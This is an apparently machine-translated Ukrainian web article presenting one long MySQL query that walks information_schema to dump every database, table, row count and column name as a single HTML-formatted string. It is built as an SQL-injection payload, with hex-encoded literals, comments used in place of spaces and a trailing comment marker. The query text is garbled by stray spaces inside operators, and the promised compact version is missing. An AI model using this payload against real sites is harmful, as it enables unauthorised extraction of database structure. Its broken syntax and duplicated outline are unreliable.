[MySQL] Структура бази за один запит
- Беремо з information_schema.tables ім'я першої таблиці і ім'я першої БД, до якої вона відноситься. Зберігаємо їх в призначених для користувача змінних.
- З таблиці information_schema.columns тягнемо імена всіх колонок по черзі.
- Для кожної з них перевіряємо такі умови:
- помінялася чи таблиця.
- якщо так, то змінилася чи БД.
- якщо помінялися і таблиця, і БД, то виводимо ім'я нової БД і ім'я нової таблиці.
- якщо змінилася тільки таблиця, то виводимо ім'я нової таблиці.
- якщо тип таблиці не змінилася, то все одно дивимося, змінилася чи БД.
- якщо так, то виводимо ім'я нової БД і ім'я нової таблиці (це досить рідкісний випадок - він виникає, якщо в БД n-1 остання таблиця з ім'ям A, а в БД n перша таблиця з ім'ям A).
- якщо нічого не змінилося, то нічого не виводимо.
- якщо так, то змінилася чи БД.
- помінялася чи таблиця.
- Просто виводимо ім'я поля.
Так само було б непогано виводити для кожної БД кількість таблиць в ній (що б не руками вважати) і для кожної таблиці кількість записів до неї. Перше реалізується запитом виду
SELECT (@n) FROM (SELECT @n: = 0x20, (/ * Цей SELECT забезпечує ініціалізацію потрібних змінних * / SELECT (CONCAT (@a: = table_schema, / * Перша БД * / @b: = table_name, / * Перша таблиця * / / * Змінні для скорочення довжини запиту * / @c: = 0x3c62723e, / * Переклад рядка
. Так як ми використовуємо
, то можна було б зробити просто n * / @d: = 0x2d2d2d, / * Використовується при форматуванні даних, що виводяться --- * / @s: = 0x2028, / * Пропуск і (* / @q: = 0x29, / *) * / / * У цієї змінної накопичується виводиться рядок даних * / @n: = / * Ім'я першої БД і першої таблиці * / CONCAT (0x3c7072653e, / *- чисто, що б читалося простіше (моно шрифт і все таке) * / @a, @s, (SELECT (COUNT (*)) FROM (information_schema.TABLES) WHERE (table_schema = @ a)), / * Виводимо кількість таблиць в даної БД * / @q, @c, @d, @b, @s, IFNULL ((SELECT (table_rows) FROM (information_schema.TABLES) WHERE (table_name = @ b)), 0x2d), / * Виводимо кількість записів в даної таблиці * / @q))) FROM (information_schema.tables) LIMIT / ** / 1 / * Ось єдиний пробіл, від якого не вдалося позбутися * /), (SELECT (COUNT (*)) FROM (information_schema.columns) / * Цикл по додаванню даних про колонках таблицях і БД в накапливаемую рядок * / WHERE (@n: = CONCAT_WS (@c, @n, CONCAT (IF (table_name! = @ b, (/ * Таблиця змінилася * / IF (table_schema ! = @ a, (/ * Змінилася таблиця, Поміняти лась БД * / SELECT (CONCAT (@a: = table_schema, @s, (SELECT (COUNT (*)) FROM (information_schema.TABLES) WHERE (table_schema = (@ a))), / * Виводимо кількість таблиць в даній БД * / @q, @c, @d, @b: = table_name, @s, IFNULL ((SELECT (table_rows) FROM (information_schema.TABLES) WHERE (table_name = @ b) AND (table_schema = @ a)), 0x2d ), / * Виводимо кількість записів у цій таблиці * / @q, @c, 0x2d))), (/ * Змінилася таблиця, БД не Помена * / SELECT (CONCAT (@d, @b: = table_name, @s, IFNULL ((SELECT (table_rows) FROM (information_schema.TABLES) WHERE (table_name = @ b) AND (table_schema = @ a)), 0x2d), / * Виводимо кількість записів у цій таблиці * / @q, @c, 0x2d) )))), (/ * Таблиця змінилася * / IF (table_schema! = @ a, (/ * Таблиця змінилася, змінилася БД (співпало, що в одній БД одна таблиця, ім'я до віді збігається з ім'ям першої табілци в слід. БД) * / SELECT (CONCAT (@a: = table_schema, @s, (SELECT (COUNT (*)) FROM (information_schema.TABLES) WHERE (table_schema = (@ a))), / * Виводимо кількість таблиць в даній БД * / @q, @c, @d, @b: = table_name, @s, IFNULL ((SELECT (table_rows) FROM (information_schema.TABLES) WHERE (table_name = @ b) AND (table_schema = @ a)), 0x2d ), / * виводимо кількість записів у цій таблиці * / @q, @c, 0x2d))), (/ * Таблиця змінилася, БД не змінилася * / SELECT (0x2d))))), / * Нарешті виводимо ім'я колонки * / 0x2d2d2d2d2d, column_name)))> 0)) a--У стиснутому вигляді запит виглядає так:
Схожі статті